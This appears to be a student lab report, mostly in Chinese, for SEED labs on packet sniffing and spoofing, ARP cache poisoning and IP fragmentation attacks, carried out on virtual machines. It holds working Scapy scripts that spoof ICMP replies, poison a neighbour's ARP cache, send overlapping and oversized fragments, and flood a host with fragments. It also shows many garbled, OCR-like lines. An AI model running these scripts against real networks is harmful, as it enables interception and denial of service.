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Packet Sniffing and Spoofing Lab
Lab Task Set 1: Using Tools to Sniff and Spoof Packets
Task 1.1A
1.运行 task11.py 无打印结果
#!/usr/bin/python3
from scapy.all import *
def print pkt(pkt):
        pkt.show()
pkt = sniff(filter='icmp',prn=print_pkt)
```

2.在另一个 bash 尝试 ping www.baidu.com

```
[09/13/20]seed@VM:~$ ping www.baidu.com
PING www.a.shifen.com (182.61.200.7) 56(84) bytes of data.
64 bytes from 182.61.200.7: icmp seg=1 ttl=48 time=40.1 ms
64 bytes from 182.61.200.7: icmp seq=2 ttl=48 time=45.0 ms
64 bytes from 182.61.200.7: icmp seq=3 ttl=48 time=42.0 ms
64 bytes from 182.61.200.7: icmp seq=4 ttl=48 time=42.3 ms
64 bytes from 182.61.200.7: icmp seg=5 ttl=48 time=43.6 ms
64 bytes from 182.61.200.7: icmp seq=6 ttl=48 time=38.4 ms
```

3.task11.py 文件 shell 中输出如下:成功嗅探 ICMP 数据包

```
###[ Ethernet ]###
           = 08:00:27:65:91:a6
  dst
           = 52:54:00:12:35:02
  src
           = IPv4
  type
###[ IP ]###
     version
               = 4
              = 5
     ihl
     tos
               = 0x0
               = 84
     len
     id
               = 2100
     flags
               = 0
     frag
               = 48
     ttl
     proto
              = icmp
              = 0xf821
     chksum
     src
               = 182.61.200.7
     dst
               = 10.0.2.15
     \options
###[ ICMP ]###
        type
                  = echo-reply
        code
                  = 0
        chksum
                  = 0x2c71
        id
                  = 0xd4d
        seq
                  = 0x1d
###[ Raw ]###
                     = 'L\xd1] &\xf1\n\x00\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x1
\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%\'()*+,-./01234567'
```

4. 尝试在非 root 权限下运行该程序

请求被拒绝,非 root 用户无法获取 raw socket

Task 1.1B

1.伪造起点为虚拟机,目的为2.3.3.3报文:

```
[09/13/20]seed@VM:~$ ifconfig
           Link encap:Ethernet HWaddr 08:00:27:e2:4a:54
enp0s3
           inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.0
inet6 addr: fe80::ffdb:4b9:c434:e955/64 Scope:Link
           UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
           RX packets:57 errors:0 dropped:0 overruns:0 frame:0
           TX packets:61 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1000
           RX bytes:8722 (8.7 KB) TX bytes:7180 (7.1 KB)
           Link encap:Local Loopback
lo
          inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
           UP LOOPBACK RUNNING MTU:65536 Metric:1
           RX packets:67 errors:0 dropped:0 overruns:0 frame:0
           TX packets:67 errors:0 dropped:0 overruns:0 carrier:0
           collisions:0 txqueuelen:1
           RX bytes:21413 (21.4 KB) TX bytes:21413 (21.4 KB)
```

```
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
        pkt.show()
#pkt = sniff(filter='icmp',prn=print_pkt)
pkt = sniff(filter='tcp and src host 10.0.2.4 and dst port 23',prn=print_pkt)
```

```
[09/13/20]seed@VM:-$ sudo python3
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
^[[Adata = 'Hello Scapy'
>>> data = 'Hello Scapy'
>>> pkt = IP(src='10.0.2.5',dst='2.3.3.3')/TCP(sport=12345,dport=23)/data
>>> send(pkt,inter=1,count=1)
.
Sent 1 packets.
>>> pkt = IP(src='10.0.2.4',dst='2.3.3.3')/TCP(sport=12345,dport=23)/data
>>> send(pkt,inter=1,count=1)
.
Sent 1 packets.
```

2. 捕获报文嗅探结果如下:

```
[09/13/20]seed@VM:~/lab3$ sudo ./task11.py
###[ Ethernet ]###
            = 52:54:00:12:35:00
  dst
             = 08:00:27:e2:4a:54
  src
type = ###[ IP ]###
             = IPv4
     version
     ihl
                 = 5
                 = 0x0
     tos
     len
                 = 51
     id
                 = 1
     flags
      frag
                   0
                = 64
= tcp
     ttl
     proto
     chksum
                 = 0x69bb
     src
dst
                 = 10.0.2.4
                 = 2.3.3.3
\options
###[ TCP ]###
         sport
                    = 12345
                    = telnet
= 0
         dport
         seq
ack
                    = 0
                    = 5
= 0
         dataofs
         reserved
         flags
         window
                    = 8192
         chksum
                    = 0xfcb7
         urgptr
                    = 0
         options
                    = []
###[ Raw ]###
load
                       = 'Hello Scapy'
```

2. 伪造起点为虚拟机,终点为 128.230.0.1 的报文

3. 嗅探结果如下所示:

```
[09/13/20]seed@VM:~/lab3$ sudo ./task11.py
###[ Ethernet ]###
           = 52:54:00:12:35:00
 dst
            = 08:00:27:e2:4a:54
  src
            = IPv4
  type
###[ IP ]###
     version
     ihl
     tos
               = 0x0
               = 51
     len
     id
               = 1
     flags
     frag
               = 0
     ttl
               = 64
     proto
               = tcp
               = 0xedd9
     chksum
               = 10.0.2.4
     src
    dst
               = 128.230.0.1
\options
###[ TCP ]###
        sport
                  = 12345
        dport
                  = telnet
                  = 0
        sea
                  = 0
        ack
        dataofs
        reserved
                    0
        flags
                  = S
        window
                  = 8192
        chksum
                  = 0x80d6
        urgptr
                  = 0
        options
                 = []
###[ Raw ]###
           load
                     = 'Hello Scapy'
```

Task 1.2 Spoofing ICMP packets

1. 伪造一个起点为 10.0.2.3 的报文

```
>>> a= IP(src="10.0.2.3",dst="10.0.2.15")
>>> p=a/b
>>> send(p)
```

2.Wireshark 检测结果如下:

1 2020-09-13	05:16:00.5562702	10.0.2.5	10.0.2.3	DHCP
2 2020-09-13	05:16:00.5674594	10.0.2.3	10.0.2.5	DHCP
3 2020-09-13	05:16:05.6038740	PcsCompu_52:1a:b0	PcsCompu_9d:76:48	ARP
4 2020-09-13	05:16:05.6038848	PcsCompu_9d:76:48	PcsCompu_52:1a:b0	ARP
5 2020-09-13	05:16:29.6051740	PcsCompu_e2:4a:54	Broadcast	ARP
6 2020-09-13	05:16:31.6138260	10.0.2.3	10.0.2.15	ICMP

Task 1.3 Traceroute

1.编写 Traceroute 程序,虚拟机到 8.8.8.8 应该存在 13 跳

#!/usr/bin/python3

2.WireShark 探测结果如下:

24	2020-09-13	05:24:51.2396228	10.0.2.5		ICMP	42 Echc
26	2020-09-13	05:24:51.2434138	10.0.2.5	8.8.8.8	ICMP	42 Echc
27	2020-09-13	05:24:51.2468147	10.0.2.5	8.8.8.8	ICMP	42 Echc
28	2020-09-13	05:24:51.2532891	10.0.2.5	8.8.8.8	ICMP	42 Echc
29	2020-09-13	05:24:51.2659685	10.0.2.5	8.8.8.8	ICMP	42 Echc
34	2020-09-13	05:24:51.2830704	10.0.2.5	8.8.8.8	ICMP	42 Echc
36	2020-09-13	05:24:51.2974025	10.0.2.5	8.8.8.8	ICMP	42 Echc
37	2020-09-13	05:24:51.3142167	10.0.2.5	8.8.8.8	ICMP	42 Echc
39	2020-09-13	05:24:51.3240288	10.0.2.5	8.8.8.8	ICMP	42 Echc
40	2020-09-13	05:24:51.3306004	10.0.2.5	8.8.8.8	ICMP	42 Echc
41	2020-09-13	05:24:51.3423762	10.0.2.5	8.8.8.8	ICMP	42 Echc
43	2020-09-13	05:24:51.3493076	10.0.2.5	8.8.8.8	ICMP	42 Echc
44	2020-09-13	05:24:51.3567000	10.0.2.5	8.8.8.8	ICMP	42 Echc

Task 1.4 Sniffing and then Spoofing

new packet spoofed has been send src ip:12.12.12.123,dst ip:10.0.2.5 new packet spoofed has been send src ip:12.12.12.123,dst ip:10.0.2.5 new packet spoofed has been send

1. 构造两台运行于同一局域网下的虚拟机,尝试 ping 任意 ip 地址

```
[09/13/20]seed@VM:~/lab3$ ping 12.12.12.123
PING 12.12.12.123 (12.12.12.123) 56(84) bytes of data.
^C
--- 12.12.12.123 ping statistics ---
56 packets transmitted, 0 received, 100% packet loss, time 56313ms
[09/13/20]seed@VM:~$ sudo ./test.py
new packet spoofed has been send
src ip:12.12.12.123,dst ip:10.0.2.5
new packet spoofed has been send
src ip:12.12.12.123,dst ip:10.0.2.5
```

```
[09/13/20]seed@VM:~/lab3$ ping 12.12.12.123
PING 12.12.12.123 (12.12.12.123) 56(84) bytes of data.
64 bytes from 12.12.12.123: icmp seq=245 ttl=64 time=21.8 ms
64 bytes from 12.12.12.123: icmp_seq=246 ttl=64 time=11.2 ms
64 bytes from 12.12.12.123: icmp seq=247 ttl=64 time=7.02 ms
2.执行编译的 test.py 文件, 开始监听整个网段, 根据所捕获的数据包内容伪造回复
!/usr/bin/python3
from scapy.all import *
from random import randint
def print pkt(pkt):
    if ICMP in pkt and pkt[ICMP].type == 8:
        ip = IP(src = pkt[IP].dst,dst =pkt[IP].src,ihl=pkt[IP].ihl)
        icmp = ICMP(type=0,id=pkt[ICMP].id,seq=pkt[ICMP].seq)
        data = pkt[Raw].load
        newpkt = ip/icmp/data
        send(newpkt, verbose=0)
        print("new packet spoofed has been send")
print("src ip:"+newpkt[IP].src + ",dst ip:"+newpkt[IP].dst)
pkt = sniff(filter = 'net 10.0.2 and icmp',prn=print_pkt,iface="enp0s3")
ARP Cache Poisoning Attack Lab
Task 1: ARP Cache Poisoning
Task 1A:
SeedUbuntu(A) IP:10.0.2.5 MAC:08:00:27:52:1a:b0
[09/13/20]seed@VM:~/lab3$ ifconfig -a
         Link encap:Ethernet HWaddr 08:00:27:52:1a:b0
enp0s3
         inet addr:10.0.2.5 Bcast:10.0.2.255 Mask:255.255.255.0
         inet6 addr: fe80::5e95:6125:54d2:c898/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:707 errors:0 dropped:0 overruns:0 frame:0
         TX packets:778 errors:0 dropped:0 overruns:0 carrier:0
SeedUbuntu1(B) IP:10.0.2.4 MAC:08:00:27:e2:4a:54
[09/13/20]seed@VM:~$ ifconfig -a
enp0s3
            Link encap:Ethernet HWaddr 08:00:27:e2:4a:54
            inet addr:10.0.2.4 Bcast:10.0.2.255 Mask:255.255.255.0
SeedUbuntu2(M) IP:10.0.2.6 MAC: 08:00:27:c1:c5:94
[09/13/20]seed@VM:~$ ifconfig -a
            Link encap: Ethernet HWaddr 08:00:27:c1:c5:94
enp0s3
            inet addr:10.0.2.6 Bcast:10.0.2.255 Mask:255
1. 首先清空 arp 表
#!/usr/bin/python3
from scapy.all import *
srloop(ARP(hwsrc = "08:00:27:c1:c5:94", psrc = "10.0.2.4",pdst = "10.0.2.5",op =1))
[09/13/20]seed@VM:~/lab3$ sudo ip neigh flush dev enp0s3
[09/13/20]seed@VM:~/lab3$ arp
Address
                    HWtype
                           HWaddress
                                            Flags Mask
                                                              Iface
10.0.2.4
                           (incomplete)
                                                              enp0s
10.0.2.1
                           (incomplete)
                                                              enp0s
10.0.2.3
                           (incomplete)
                                                              enp0s
```

2.执行编译的 test.py 程序

```
[09/13/20]seed@VM:~$ gedit test.py
[09/13/20]seed@VM:~$ chmod a+x test.py
[09/13/20]seed@VM:~$ sudo ./test.py
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
RECV 1: ARP is at 08:00:27:52:1a:b0 says 10.0.2.5 / Padding
```

```
[09/13/20]seed@VM:~/lab3$ arp
Address
                         HWtype
                                 HWaddress
                                                     Flags Mask
                                                                            Iface
10.0.2.4
                         ether
                                 08:00:27:c1:c5:94
                                                     C
                                                                            enp0s3
10.0.2.6
                                 08:00:27:c1:c5:94
                                                     C
                         ether
                                                                            enp0s3
10.0.2.1
                         ether
                                 52:54:00:12:35:00
                                                     C
                                                                            enp0s3
10.0.2.3
                         ether
                                 08:00:27:9d:76:48
                                                                            enp0s3
```

Task 1B:

```
#!/usr/bin/python3
from scapy.all import *
srloop(ARP(hwsrc = "08:00:27:c1:c5:94", psrc = "10.0.2.4",pdst = "10.0.2.5",op =2))
```

```
[09/13/20]seed@VM:~$ gedit test.py
[09/13/20]seed@VM:~$ sudo ./test.py
fail 1: ARP is at 08:00:27:c1:c5:94 says 10.0.2.4
```

[09/13/20] seed@\	/M:~/lab3				
Address		HWtype	HWaddress	Flags Mask	Iface
10.0.2.4		ether	08:00:27:c1:c5:94	C	enp0s3
10.0.2.6		ether	08:00:27:c1:c5:94	C	enp0s3
10.0.2.1		ether	52:54:00:12:35:00	C	enp0s3
10.0.2.3		ether	08:00:27:9d:76:48	C	enp0s3

Arp 表相关内容被污染

Task 1C:

```
|#!/usr/bin/python3
from scapy.all import *
eth = Ether(dst = "ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ssc = "08:00:27:c1:c5:94")
arp = ARP(hwsrc = "08:00:27:c1:c5:94", hwdst = "08:00:27:52:1a:b0",psrc = "10.0.2.4",pdst = "10.0.2.4",op=2)
pkt = (eth/arp)
sendp(pkt)

[09/13/20]seed@VM:~/lab3$ arp -a
? (10.0.2.4) at 08:00:27:c1:c5:94 [ether] on enp0s3
? (10.0.2.6) at <incomplete> on enp0s3
? (10.0.2.1) at 52:54:00:12:35:00 [ether] on enp0s3
? (10.0.2.3) at 08:00:27:9d:76:48 [ether] on enp0s3
```

Arp 表相关内容被污染

```
IP/ICMP Attacks Lab
```

Task 1: IP Fragmentation Task 1A: 填充代码如下:

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
ip = IP( dst="10.0.2.6")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 104 # This should be the combined length of all fragments
# Construct payload
# Construct paytoau
payload = 'A' * 32

# Put 32 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/udp/payload # For other fragments, we should use ip/payload
pkt[UDP].chksum = 0 # Set the checksum field to zero
 send(pkt, verbose=0)
 ip = IP( dst="10.0.2.6",proto=17)
 ip.id = 10
 ip.frag =
ip.flags = 1
payload = 'B'*32
 pkt = ip/payload
 send(pkt, verbose=0)
 ip = IP( dst="10.0.2.6",proto=17)
 ip.id = 1000
ip.frag = 9
ip.flags = 0
payload = 'C'*32
pkt = ip/payload
send(pkt, verbose=0)
```

WireShark 接收数据如下:

Bash 接收到字符如下:

Task 1B:

- 1. 将第二段的偏移值设置为 2
- 2. WireShark 正常显示
- 3. 但是终端并未正常打印报文内容

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
 ip = IP( dst="10.0.2.6")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090)
udp.len = 80 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 32
# Construct payload
payload = 'A' * 32

# Put 32 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/udp/Raw(load=payload) # For other fragments, we should use ip/payload
pkt[UDP].chksum = 2| # Set the checksum field to zero
send(pkt)
 ip = IP( dst="10.0.2.6",proto=17)
 ip.id = 100
ip.to = 1000
ip.frag = 2
ip.flags = 1
payload = 'B'*32
pkt = ip/Raw(load=payload)
send(pkt)
 ip = IP( dst="10.0.2.6",proto=17)
ip.id = 100
ip.frag = 6
ip.flags = 0
payload = 'C'*32
pkt = ip/Raw(load=payload)
 send(pkt)
▼ User Datagram Protocol, Src Port: 7070, Dst Port: 9090
Source Port: 7070
       Destination Port: 9090
       Length: 80
       Checksum: 0x0002 [unverified]
[Checksum Status: Unverified]
        [Stream index: 194]
▶ Data (72 bytes)
 0000 1b 9e 23 82 00 50 00 02 41 41 41 41 41 41 41 41
                                                                                              ..#..P.. AAAAAAA
AAAAAAA AAAAAAA
AAAAAAA BBBBBBB
                                                                                               CCCCCCC CCCCCCC
                                                                                               ccccccc ccccccc
```

[09/13/20]seed@VM:~\$ nc -lu 9090

4. 第二段报文被覆盖再次执行程序

```
#!/usr/bin/python3
from scapy.all import
# Construct IP header
ip = IP( dst="10.0.2.6")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090,chksum=0)
udp.len = 72 # This should be the combined length of all fragments
# Construct payload
payload =
# Put 32 bytes in the first fragment
# Construct the entire packet and send it out
pkt = ip/udp/Raw(load=payload) # For other fragments, we should use ip/payload
pkt[UDP].chksum = 0 # Set the checksum field to zero
send(pkt)
ip = IP( dst="10.0.2.6",proto=17)
ip.id = 1000
ip.frag = 2
ip.flags = 1
payload = 'B'*30
pkt = ip/Raw(load=payload)
send(pkt)
ip = IP( dst="10.0.2.6",proto=17)
ip.id = 1000
ip.frag = 5
ip.flags = 0
payload = 'C'*32
pkt = ip/Raw(load=payload)
send(pkt)
```

5.终端显示结果如下

6.交换报文发送顺序再次执行

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
ip = IP( dst="10.0.2.6",proto=17)
ip.id = 1000
lp.td = 1000
ip.frag = 2
ip.flags = 1
payload = 'B'*30
pkt = ip/Raw(load=payload)
send(pkt)
ip = IP( dst="10.0.2.6")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
udp = UDP(sport=7070, dport=9090,chksum=0)
udp.len = 72 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 32
# Construct payload
payload = 'A' * 32

# Put 32 bytes in the first fragment

# Construct the entire packet and send it out
pkt = ip/udp/Raw(load=payload) # For other fragments, we should use ip/payload
pkt[UDP].chksum = 0 # Set the checksum field to zero
send(pkt)
ip = IP( dst="10.0.2.6",proto=17)
 ip.id = 1000
ip.frag = 5
ip.flags = 6
payload = '6
pkt = ip/Rav
       = ip/Raw(load=payload)
send(pkt)
 ▼ User Datagram Protocol, Src Port: 7070, Dst Port: 9090
       Source Port: 7070
       Destination Port: 9090
       Length: 72
       [Checksum: [missing]]
       [Checksum Status: Not present]
       [Stream index: 1]
 ▼ Data (64 bytes)
      [Lenath: 64]
```

7.终端正常显示结果

Task 1C:

1.执行代码,发送73682个字符,代码如下

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header
ip = IP( dst="10.0.2.6")
ip.id = 1000 # Identification
ip.frag = 0 # Offset of this IP fragment
tp.flags = 0 # Offset of this IP fragment
ip.flags = 1 # Flags
# Construct UDP header
#udp = UDP(sport=7070, dport=9090,chksum=0)
#udp.len = 72 # This should be the combined length of all fragments
# Construct payload
payload = 'A' * 65504
payload = 'A
.
# Put 32 bytes in the first fragment
# Construct the entire packet and send it out pkt = ip/Raw(payload) # For other fragments, we should use ip/payload
#pkt[UDP].chksum = 0 # Set the checksum field to zero
send(pkt)
for i in range(8):
        ip = IP( dst="10.0.2.6")
        ip.id = 1000
              ip.frag = 8188*(i+1)
             ip.flags = 1
payload = ('A')*65504
pkt = ip/Raw(payload)
              send(pkt)
ip = IP( dst="10.0.2.6")
ip.id = 1000
ip.frag = 8188*9
ip.flags = 0
payload = 'A'*65504
pkt = ip/Raw(payload)
send(pkt)
```

2.WireShark 显示非法碎片

. 10.0.2.6	10.0.2.5	ICMP	590 Time-to-live exceeded (Fragment reassembly
. 10.0.2.5	10.0.2.6	IPv4	418 [Illegal IPv4 fragments]
10.0.2.5	10.0.2.6	IPv4	1514 Fragmented IP protocol (proto=IPv6 Hop-by-

Task 1D:

```
#!/usr/bin/python3
from scapy.all import *
# Construct IP header

#ip = IP( dst="10.0.2.6")
#ip.id = 1000 # Identification
#ip.frag = 0 # Offset of this IP fragment
#ip.flags = 1 # Flags
# Construct UDP header
#udp = UDP(sport=7070, dport=9090,chksum=0)
#udp.len = 72 # This should be the combined length of all fragments
# Construct payload
#payload = 'A' * 65504
# Put 32 bytes in the first fragment
# Construct the entire packet and send it out
#pkt = ip/Raw(payload) # For other fragments, we should use ip/payload
#pkt[UDP].chksum = 0 # Set the checksum field to zero

for i in range(1000,10000):
    ip = IP( dst="10.0.2.6")
    ip.frag = 0
    ip.flags = 1
    payload = 'A'*60000
    pkt = ip/Raw(payload)
    send(pkt)
```

1. 发送报文前的 ping:

42 packets transmitted, 39 received, 7% packet loss, time 41113ms rtt min/avg/max/mdev = 115.724/173.062/196.954/17.756 ms [09/13/20]seed@VM:~\$ ■

2. 发送报文开始后的 ping:

```
--- 8.8.8.8 ping statistics --- 75 packets transmitted, 69 received, 8% packet loss, time 74220ms rtt min/avg/max/mdev = 102.466/172.046/194.440/17.608 ms
```